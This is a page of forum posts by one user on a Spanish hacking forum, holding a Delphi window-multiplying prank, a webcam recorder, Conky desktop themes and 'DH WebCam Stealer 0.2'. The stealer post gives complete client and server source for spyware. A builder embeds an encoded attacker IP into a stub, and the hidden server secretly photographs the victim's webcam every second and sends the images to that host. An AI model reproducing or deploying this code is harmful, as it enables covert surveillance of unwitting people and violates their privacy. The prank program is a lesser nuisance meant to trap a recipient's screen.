elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [18] 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ... 55
171  Programación / Programación General / [Delphi] Una inocente broma xD en: 6 Diciembre 2013, 14:14 pm
Siempre quize hacer la tipica broma donde te mandan un programa donde aparece la foto de una mina en tetas y cuando queres cerrar la ventana en vez de cerrarse se multiplica.
Si la victima no quiere cerrar la ventana puse un timer cada 1 segundo para que se multiplique de todas formas.

Hice algo asi en delphi , pondria una captura del programa en accion pero me borrarian la imagen xDD.

El codigo.

Código
  1. // Joke : Big Tits
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit big;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, Math;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    Image1: TImage;
  15.    Timer1: TTimer;
  16.    procedure Timer1Timer(Sender: TObject);
  17.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  18.    procedure nomepiensoir();
  19.  private
  20.    { Private declarations }
  21.  public
  22.    { Public declarations }
  23.  end;
  24.  
  25. var
  26.  Form1: TForm1;
  27.  
  28. implementation
  29.  
  30. {$R *.dfm}
  31.  
  32. procedure TForm1.nomepiensoir;
  33.  
  34. // Based on : http://delphi.about.com/od/adptips2006/qt/formclone.htm
  35. // Thanks to Zarko Gajic
  36.  
  37. var
  38.  
  39.  parte1: TMemoryStream;
  40.  acatoy: TForm;
  41.  
  42. const
  43.  dimensiones: array [1 .. 5] of string = ('100', '200', '300', '400', '500');
  44.  
  45. begin
  46.  
  47.  parte1 := TMemoryStream.Create;
  48.  parte1.WriteComponent(Form1);
  49.  
  50.  parte1.Position := 0;
  51.  
  52.  acatoy := TFormClass(Form1.ClassType).CreateNew(Application);
  53.  parte1.ReadComponent(acatoy);
  54.  
  55.  acatoy.Left := Form1.Left + StrToInt(dimensiones[RandomRange(1, 5)]);
  56.  acatoy.Top := Form1.Top + StrToInt(dimensiones[RandomRange(1, 5)]);
  57.  
  58.  acatoy.Show;
  59.  
  60. end;
  61.  
  62. procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
  63. begin
  64.  nomepiensoir();
  65.  Abort;
  66. end;
  67.  
  68. procedure TForm1.Timer1Timer(Sender: TObject);
  69. begin
  70.  nomepiensoir();
  71. end;
  72.  
  73. end.
  74.  
  75. // The End ?
  76.  

Si lo quieren bajar lo pueden hacer de aca.
172  Programación / Programación General / [Delphi] The WatchMan 0.4 en: 2 Diciembre 2013, 03:39 am
Un simple programa que graba todos los registros de la webcam en un video con formato avi.

Tenia pensado usarlo como camara de vigilancia en el frente de mi casa pero todavia le faltan varios (mas bien muchos) retoques.

Una imagen :



El codigo.

Código
  1. // The WatchMan 0.4
  2. // (C) Doddy Hackman 2013
  3. // Credits : Based on
  4. // http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-i.html
  5. // http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-ii.html
  6. // http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  7. // Thanks to Javier Par
  8.  
  9. unit the;
  10.  
  11. interface
  12.  
  13. uses
  14.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  15.  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  16.  sGroupBox, sButton, sRadioButton, sEdit, sListView, ExtCtrls, ShellApi, acPNG,
  17.  sLabel;
  18.  
  19. type
  20.  TForm1 = class(TForm)
  21.    sSkinManager1: TsSkinManager;
  22.    sPageControl1: TsPageControl;
  23.    sStatusBar1: TsStatusBar;
  24.    sTabSheet1: TsTabSheet;
  25.    sTabSheet3: TsTabSheet;
  26.    sGroupBox1: TsGroupBox;
  27.    sTabSheet4: TsTabSheet;
  28.    sGroupBox2: TsGroupBox;
  29.    sButton1: TsButton;
  30.    sButton2: TsButton;
  31.    sGroupBox4: TsGroupBox;
  32.    sRadioButton3: TsRadioButton;
  33.    sEdit1: TsEdit;
  34.    sRadioButton4: TsRadioButton;
  35.    sGroupBox6: TsGroupBox;
  36.    sListView1: TsListView;
  37.    Guardar: TSaveDialog;
  38.    Image1: TImage;
  39.    sGroupBox3: TsGroupBox;
  40.    Image2: TImage;
  41.    sLabel1: TsLabel;
  42.    procedure sButton1Click(Sender: TObject);
  43.    procedure sButton2Click(Sender: TObject);
  44.    procedure FormCreate(Sender: TObject);
  45.  
  46.    procedure sListView1DblClick(Sender: TObject);
  47.  private
  48.    { Private declarations }
  49.  public
  50.    { Public declarations }
  51.  end;
  52.  
  53. var
  54.  Form1: TForm1;
  55.  toyaca: hwnd;
  56.  
  57. const
  58.  
  59.  control = WM_USER;
  60.  conec = control + 10;
  61.  uno = control + 52;
  62.  dos = control + 50;
  63.  
  64.  tres = control + 20;
  65.  cuatro = control + 62;
  66.  chau = control + 11;
  67.  
  68. implementation
  69.  
  70. uses tiny, full;
  71.  
  72. FUNCTION capCreateCaptureWindowA(lpszWindowName: PCHAR; dwStyle: longint;
  73.  x: integer; y: integer; nWidth: integer; nHeight: integer; ParentWin: hwnd;
  74.  nId: integer): hwnd;
  75. STDCALL EXTERNAL 'AVICAP32.DLL';
  76. {$R *.dfm}
  77.  procedure TForm1.FormCreate(Sender: TObject);
  78.  var
  79.    dir: string;
  80.    busqueda: TSearchRec;
  81.  begin
  82.  
  83.    sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
  84.      + 'Data';
  85.    sSkinManager1.SkinName := 'matrix';
  86.    sSkinManager1.Active := True;
  87.  
  88.    dir := ExtractFilePath(Application.ExeName) + '/captures';
  89.  
  90.    if not(DirectoryExists(dir)) then
  91.    begin
  92.      CreateDir(dir);
  93.    end;
  94.  
  95.    ChDir(dir);
  96.  
  97.    FindFirst(dir + '\*.avi', faAnyFile + faReadOnly, busqueda);
  98.  
  99.    with sListView1.Items.Add do
  100.    begin
  101.      Caption := ExtractFileName(busqueda.Name);
  102.      SubItems.Add(dir + '/' + busqueda.Name);
  103.    end;
  104.  
  105.    while FindNext(busqueda) = 0 do
  106.    begin
  107.  
  108.      with sListView1.Items.Add do
  109.      begin
  110.        Caption := ExtractFileName(busqueda.Name);
  111.        SubItems.Add(dir + '/' + busqueda.Name);
  112.      end;
  113.  
  114.    end;
  115.    FindClose(busqueda);
  116.  
  117.  end;
  118.  
  119.  procedure TForm1.sButton1Click(Sender: TObject);
  120.  begin
  121.  
  122.    sStatusBar1.Panels[0].Text := '[+] Recording';
  123.    Form1.sStatusBar1.Update;
  124.  
  125.    Form2.Show;
  126.  
  127.    toyaca := capCreateCaptureWindowA('Unknown_888', WS_CHILD OR WS_VISIBLE,
  128.      Form2.Image1.Left, Form2.Image1.Top, Form2.Image1.Width,
  129.      Form2.Image1.Height, Form2.Handle, 0);
  130.  
  131.    SendMessage(toyaca, conec, 0, 0);
  132.    SendMessage(toyaca, uno, 40, 0);
  133.    SendMessage(toyaca, dos, 1, 0);
  134.  
  135.    SendMessage(toyaca, tres, 0, longint(PCHAR('tt')));
  136.  
  137.    SendMessage(toyaca, cuatro, 0, 0);
  138.  
  139.  end;
  140.  
  141.  procedure TForm1.sButton2Click(Sender: TObject);
  142.  var
  143.    fecha: TDateTime;
  144.    fechafinal: string;
  145.    nombrefecha: string;
  146.  
  147.  BEGIN
  148.  
  149.    sStatusBar1.Panels[0].Text := '[+] Stopped';
  150.    Form1.sStatusBar1.Update;
  151.  
  152.    SendMessage(toyaca, chau, 0, 0);
  153.  
  154.    Form2.Hide;
  155.  
  156.    if (sRadioButton3.Checked) then
  157.    begin
  158.      RenameFile('t', sEdit1.Text);
  159.    end;
  160.  
  161.    if (sRadioButton4.Checked) then
  162.    begin
  163.      fecha := now();
  164.      fechafinal := DateTimeToStr(fecha);
  165.      nombrefecha := fechafinal + '.avi';
  166.  
  167.      nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
  168.        rfIgnoreCase]);
  169.      nombrefecha := StringReplace(nombrefecha, ' ', '', [rfReplaceAll,
  170.        rfIgnoreCase]);
  171.      nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
  172.        rfIgnoreCase]);
  173.  
  174.      RenameFile('t', nombrefecha);
  175.  
  176.    end;
  177.  
  178.  end;
  179.  
  180.  procedure TForm1.sListView1DblClick(Sender: TObject);
  181.  begin
  182.  
  183.    ShellExecute(0, nil, PCHAR(sListView1.Selected.SubItems[0]), nil, nil,
  184.      SW_SHOWNORMAL);
  185.  
  186.  end;
  187.  
  188. end.
  189.  
  190. // The End ?
  191.  

Si lo quieren bajar lo pueden hacer de aca.
173  Programación / Programación General / [Delphi] DH WebCam Stealer 0.2 en: 29 Noviembre 2013, 14:44 pm
Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten.

Una imagen :



Código
  1. // DH WebCam Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit webcam;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
  14.  sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    sSkinManager1: TsSkinManager;
  19.    Image3: TImage;
  20.    sPageControl1: TsPageControl;
  21.    sTabSheet1: TsTabSheet;
  22.    sGroupBox2: TsGroupBox;
  23.    sGroupBox6: TsGroupBox;
  24.    sEdit1: TsEdit;
  25.    sGroupBox7: TsGroupBox;
  26.    sButton3: TsButton;
  27.    sTabSheet2: TsTabSheet;
  28.    sGroupBox3: TsGroupBox;
  29.    sGroupBox4: TsGroupBox;
  30.    sRadioButton1: TsRadioButton;
  31.    sRadioButton2: TsRadioButton;
  32.    sGroupBox5: TsGroupBox;
  33.    sButton1: TsButton;
  34.    sButton2: TsButton;
  35.    sTabSheet3: TsTabSheet;
  36.    sGroupBox1: TsGroupBox;
  37.    Image1: TImage;
  38.    sTabSheet4: TsTabSheet;
  39.    Image2: TImage;
  40.    sLabel1: TsLabel;
  41.    sStatusBar1: TsStatusBar;
  42.    Timer1: TTimer;
  43.    Timer2: TTimer;
  44.    ServerSocket1: TServerSocket;
  45.    ServerSocket2: TServerSocket;
  46.    procedure sButton1Click(Sender: TObject);
  47.    procedure sButton2Click(Sender: TObject);
  48.    procedure sButton3Click(Sender: TObject);
  49.    procedure FormCreate(Sender: TObject);
  50.    procedure ServerSocket1ClientRead(Sender: TObject;
  51.      Socket: TCustomWinSocket);
  52.    procedure ServerSocket2ClientRead(Sender: TObject;
  53.      Socket: TCustomWinSocket);
  54.    procedure Timer1Timer(Sender: TObject);
  55.    procedure Timer2Timer(Sender: TObject);
  56.  private
  57.    { Private declarations }
  58.  
  59.    conexion: TFileStream;
  60.    control: integer;
  61.  
  62.  public
  63.    { Public declarations }
  64.  end;
  65.  
  66. var
  67.  Form1: TForm1;
  68.  cantidad: string;
  69.  
  70. implementation
  71.  
  72. uses full;
  73. {$R *.dfm}
  74. // Functions
  75.  
  76. function dhencode(texto, opcion: string): string;
  77. // Thanks to Taqyon
  78. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  79. var
  80.  num: integer;
  81.  aca: string;
  82.  cantidad: integer;
  83.  
  84. begin
  85.  
  86.  num := 0;
  87.  Result := '';
  88.  aca := '';
  89.  cantidad := 0;
  90.  
  91.  if (opcion = 'encode') then
  92.  begin
  93.    cantidad := length(texto);
  94.    for num := 1 to cantidad do
  95.    begin
  96.      aca := IntToHex(ord(texto[num]), 2);
  97.      Result := Result + aca;
  98.    end;
  99.  end;
  100.  
  101.  if (opcion = 'decode') then
  102.  begin
  103.    cantidad := length(texto);
  104.    for num := 1 to cantidad div 2 do
  105.    begin
  106.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  107.      Result := Result + aca;
  108.    end;
  109.  end;
  110.  
  111. end;
  112.  
  113. procedure achicar(archivo, medir1, medir2: string);
  114.  
  115. // Credits  :
  116. // Based on : http://www.delphidabbler.com/tips/99
  117. // Thanks to www.delphidabbler.com
  118.  
  119. var
  120.  bit3: Double;
  121.  bit2: TJpegImage;
  122.  bit1: TBitmap;
  123.  
  124. begin
  125.  
  126.  try
  127.    begin
  128.  
  129.      bit2 := TJpegImage.Create;
  130.  
  131.      bit2.Loadfromfile(archivo);
  132.  
  133.      if bit2.Height > bit2.Width then
  134.      begin
  135.        bit3 := StrToInt(medir1) / bit2.Height
  136.      end
  137.      else
  138.      begin
  139.        bit3 := StrToInt(medir2) / bit2.Width;
  140.      end;
  141.  
  142.      bit1 := TBitmap.Create;
  143.  
  144.      bit1.Width := Round(bit2.Width * bit3);
  145.      bit1.Height := Round(bit2.Height * bit3);
  146.      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
  147.  
  148.      bit2.Assign(bit1);
  149.  
  150.      bit2.SaveToFile(archivo);
  151.  
  152.    end;
  153.  except
  154.    //
  155.  end;
  156.  
  157. end;
  158. //
  159.  
  160. procedure TForm1.FormCreate(Sender: TObject);
  161. begin
  162.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  163.  sSkinManager1.SkinName := 'garnet';
  164.  sSkinManager1.Active := True;
  165. end;
  166.  
  167. procedure TForm1.sButton1Click(Sender: TObject);
  168.  
  169. begin
  170.  try
  171.    begin
  172.      ServerSocket1.Open;
  173.  
  174.      sStatusBar1.Panels[0].Text := '[+] Online';
  175.      Form1.sStatusBar1.Update;
  176.    end;
  177.  except
  178.    begin
  179.      sStatusBar1.Panels[0].Text := '[-] Error';
  180.      Form1.sStatusBar1.Update;
  181.    end;
  182.  end;
  183.  
  184. end;
  185.  
  186. procedure TForm1.sButton2Click(Sender: TObject);
  187. begin
  188.  try
  189.    begin
  190.      ServerSocket1.Close;
  191.      sStatusBar1.Panels[0].Text := '[+] OffLine';
  192.      Form1.sStatusBar1.Update;
  193.    end;
  194.  except
  195.    begin
  196.      sStatusBar1.Panels[0].Text := '[-] Error';
  197.      Form1.sStatusBar1.Update;
  198.    end;
  199.  end;
  200. end;
  201.  
  202. procedure TForm1.sButton3Click(Sender: TObject);
  203. var
  204.  aca: THandle;
  205.  code: Array [0 .. 9999 + 1] of Char;
  206.  nose: DWORD;
  207.  stubgenerado: string;
  208.  lineafinal: string;
  209.  linea: string;
  210. begin
  211.  
  212.  aca := INVALID_HANDLE_VALUE;
  213.  nose := 0;
  214.  
  215.  stubgenerado := 'stealer_ready.exe';
  216.  
  217.  linea := '[ip]' + sEdit1.Text + '[ip]';
  218.  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
  219.  
  220.  DeleteFile(stubgenerado);
  221.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  222.        + '/' + 'Data/servernow.exe'), PChar
  223.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  224.  
  225.  StrCopy(code, PChar(lineafinal));
  226.  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
  227.    nil, OPEN_EXISTING, 0, 0);
  228.  if (aca <> INVALID_HANDLE_VALUE) then
  229.  begin
  230.    SetFilePointer(aca, 0, nil, FILE_END);
  231.    WriteFile(aca, code, 9999, nose, nil);
  232.    CloseHandle(aca);
  233.  end;
  234.  
  235.  sStatusBar1.Panels[0].Text := '[+] Done';
  236.  Form1.sStatusBar1.Update;
  237.  
  238. end;
  239.  
  240. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  241.  Socket: TCustomWinSocket);
  242. var
  243.  contenido: string;
  244.  
  245. begin
  246.  
  247.  contenido := Socket.ReceiveText;
  248.  
  249.  if (Pos('0x3archivo', contenido) > 0) then
  250.  begin
  251.    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
  252.      fmCREATE or fmOPENWRITE and fmsharedenywrite);
  253.  
  254.    ServerSocket2.Open;
  255.  
  256.  end
  257.  else
  258.  begin
  259.    if (Pos('0x3acantid', contenido) > 0) then
  260.    begin
  261.      cantidad := Copy(contenido, 11, length(contenido));
  262.    end;
  263.  end;
  264. end;
  265.  
  266. procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  267.  Socket: TCustomWinSocket);
  268. var
  269.  data: array [0 .. 9999] of Char;
  270.  otracantidad: integer;
  271.  
  272. begin
  273.  
  274.  Timer1.Enabled := True;
  275.  
  276.  while Socket.ReceiveLength > 0 do
  277.  
  278.  begin
  279.  
  280.    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
  281.  
  282.    if otracantidad <= 0 then
  283.    begin
  284.      Break;
  285.    end
  286.    else
  287.    begin
  288.      conexion.Write(data, otracantidad);
  289.    end;
  290.  
  291.    if conexion.Size >= StrToInt(cantidad) then
  292.  
  293.    begin
  294.  
  295.      conexion.Free;
  296.  
  297.      Timer1.Enabled := False;
  298.  
  299.      control := 0;
  300.  
  301.      Break;
  302.  
  303.    end;
  304.  end;
  305. end;
  306.  
  307. procedure TForm1.Timer1Timer(Sender: TObject);
  308. begin
  309.  control := 1;
  310. end;
  311.  
  312. procedure TForm1.Timer2Timer(Sender: TObject);
  313. begin
  314.  
  315.  try
  316.    begin
  317.      if ServerSocket1.Active = True then
  318.      begin
  319.        if FileExists('screen.jpg') then
  320.        begin
  321.  
  322.          if (sRadioButton1.Checked) then
  323.          begin
  324.            achicar('screen.jpg', '400', '400');
  325.            Image1.Picture.Loadfromfile('screen.jpg');
  326.          end
  327.          else
  328.          begin
  329.            Form2.Show;
  330.            achicar('screen.jpg', '1000', '1000');
  331.            Form2.Image1.Picture.Loadfromfile('screen.jpg');
  332.          end;
  333.        end;
  334.      end;
  335.    end;
  336.  except
  337.    //
  338.  end;
  339. end;
  340.  
  341. end.
  342.  
  343. // The End ?
  344.  

El servidor.

Código
  1. // DH WebCam Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit server;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ExtCtrls, ScktComp, Jpeg;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    ClientSocket1: TClientSocket;
  18.    ClientSocket2: TClientSocket;
  19.    Timer1: TTimer;
  20.    Image1: TImage;
  21.    procedure Timer1Timer(Sender: TObject);
  22.    procedure FormCreate(Sender: TObject);
  23.    procedure capturar_webcam(filename: string);
  24.  private
  25.    { Private declarations }
  26.  public
  27.    { Public declarations }
  28.  end;
  29.  
  30. var
  31.  Form1: TForm1;
  32.  target: string;
  33.  webcam: hwnd;
  34.  
  35. const
  36.  
  37.  control = WM_USER;
  38.  conec = control + 10;
  39.  conec2 = control + 52;
  40.  conec3 = control + 50;
  41.  conec4 = control + 25;
  42.  chau = control + 11;
  43.  
  44. implementation
  45.  
  46. FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
  47.  cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
  48.  : hwnd;
  49. STDCALL EXTERNAL 'AVICAP32.DLL';
  50. {$R *.dfm}
  51. // Functions
  52.  
  53.  procedure TForm1.capturar_webcam(filename: string);
  54.  
  55.  // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  56.  // Thanks to Javier Par
  57.  
  58.  var
  59.    imagen1: TBitmap;
  60.    imagen2: TJpegImage;
  61.  
  62.  begin
  63.  
  64.    try
  65.      begin
  66.  
  67.        DeleteFile('1.bmp');
  68.        DeleteFile('1');
  69.        DeleteFile(filename);
  70.  
  71.        webcam := capCreateCaptureWindowA
  72.          ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
  73.          Image1.Width, Image1.Height, Form1.Handle, 0);
  74.  
  75.        if not(webcam = 0) then
  76.        begin
  77.  
  78.          SendMessage(webcam, conec, 0, 0);
  79.          SendMessage(webcam, conec2, 40, 0);
  80.          SendMessage(webcam, conec3, 1, 0);
  81.          SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
  82.          SendMessage(webcam, chau, 0, 0);
  83.          webcam := 0;
  84.  
  85.          RenameFile('1', '1.bmp');
  86.  
  87.          imagen1 := TBitmap.Create;
  88.          imagen1.LoadFromFile('1.bmp');
  89.  
  90.          imagen2 := TJpegImage.Create;
  91.          imagen2.Assign(imagen1);
  92.          imagen2.CompressionQuality := 100;
  93.          imagen2.SaveToFile(filename);
  94.  
  95.          DeleteFile('1');
  96.          DeleteFile('1.bmp');
  97.  
  98.        end;
  99.  
  100.        imagen1.Free;
  101.        imagen2.Free;
  102.  
  103.      end;
  104.    except
  105.      //
  106.    end;
  107.  
  108.  end;
  109.  
  110.  function regex(text: String; deaca: String; hastaaca: String): String;
  111.  begin
  112.    Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  113.    SetLength(text, AnsiPos(hastaaca, text) - 1);
  114.    Result := text;
  115.  end;
  116.  
  117.  function dhencode(texto, opcion: string): string;
  118.  // Thanks to Taqyon
  119.  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  120.  var
  121.    num: integer;
  122.    aca: string;
  123.    cantidad: integer;
  124.  
  125.  begin
  126.  
  127.    num := 0;
  128.    Result := '';
  129.    aca := '';
  130.    cantidad := 0;
  131.  
  132.    if (opcion = 'encode') then
  133.    begin
  134.      cantidad := Length(texto);
  135.      for num := 1 to cantidad do
  136.      begin
  137.        aca := IntToHex(ord(texto[num]), 2);
  138.        Result := Result + aca;
  139.      end;
  140.    end;
  141.  
  142.    if (opcion = 'decode') then
  143.    begin
  144.      cantidad := Length(texto);
  145.      for num := 1 to cantidad div 2 do
  146.      begin
  147.        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  148.        Result := Result + aca;
  149.      end;
  150.    end;
  151.  
  152.  end;
  153.  
  154.  procedure TForm1.FormCreate(Sender: TObject);
  155.  
  156.  var
  157.    ob: THandle;
  158.    code: Array [0 .. 9999 + 1] of Char;
  159.    nose: DWORD;
  160.    todo: string;
  161.  
  162.  begin
  163.  
  164.    Application.ShowMainForm := False;
  165.  
  166.    ob := INVALID_HANDLE_VALUE;
  167.    code := '';
  168.  
  169.    ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  170.      OPEN_EXISTING, 0, 0);
  171.    if (ob <> INVALID_HANDLE_VALUE) then
  172.    begin
  173.      SetFilePointer(ob, -9999, nil, FILE_END);
  174.      ReadFile(ob, code, 9999, nose, nil);
  175.      CloseHandle(ob);
  176.    end;
  177.  
  178.    todo := regex(code, '[63686175]', '[63686175]');
  179.    todo := dhencode(todo, 'decode');
  180.  
  181.    target := regex(todo, '[ip]', '[ip]');
  182.  
  183.    try
  184.      begin
  185.        ClientSocket1.Address := target;
  186.        ClientSocket1.Open;
  187.      end;
  188.    except
  189.      //
  190.    end;
  191.  
  192.  end;
  193.  
  194.  procedure TForm1.Timer1Timer(Sender: TObject);
  195.  var
  196.    archivo: string;
  197.    envio: TFileStream;
  198.    dir: string;
  199.  
  200.  begin
  201.  
  202.    try
  203.      begin
  204.  
  205.        if ClientSocket1.Active = True then
  206.  
  207.        begin
  208.          dir := GetEnvironmentVariable('USERPROFILE') + '\';
  209.  
  210.          chdir(dir);
  211.  
  212.          if (FileExists('screen.jpg')) then
  213.          begin
  214.            DeleteFile('screen.jpg');
  215.          end;
  216.  
  217.          capturar_webcam('screen.jpg');
  218.  
  219.          archivo := dir + 'screen.jpg';
  220.  
  221.          try
  222.            begin
  223.              ClientSocket1.Socket.SendText
  224.                ('0x3archivo' + ExtractFileName(archivo));
  225.              envio := TFileStream.Create(archivo, fmopenread);
  226.  
  227.              sleep(500);
  228.  
  229.              ClientSocket1.Socket.SendText
  230.                ('0x3acantid' + IntToStr(envio.Size));
  231.  
  232.              envio.Free;
  233.  
  234.              ClientSocket2.Address := target;
  235.              ClientSocket2.Open;
  236.  
  237.              ClientSocket2.Socket.SendStream
  238.                (TFileStream.Create(archivo, fmopenread));
  239.            end;
  240.          except
  241.            //
  242.          end;
  243.        end;
  244.      end;
  245.    except
  246.      //
  247.    end;
  248.  
  249.  end;
  250.  
  251. end.
  252.  
  253. // The End ?
  254.  

Si lo quieren bajar lo pueden hacer de aca.
174  Sistemas Operativos / GNU/Linux / Tres themes para Conky Colors en: 26 Noviembre 2013, 23:46 pm
Hace poco que me mude a Ubuntu y me baje el conky colors , el problema es que ninguno de todos los themes que busque en internet me gustaban asi que basado en un codigo que encontre en la pagina ubuntu-es hice estos tres themes para conky colors.

Theme Matrix.
 


Código:
# Matrix Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?

Theme Tron.



Código:
# Tron Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

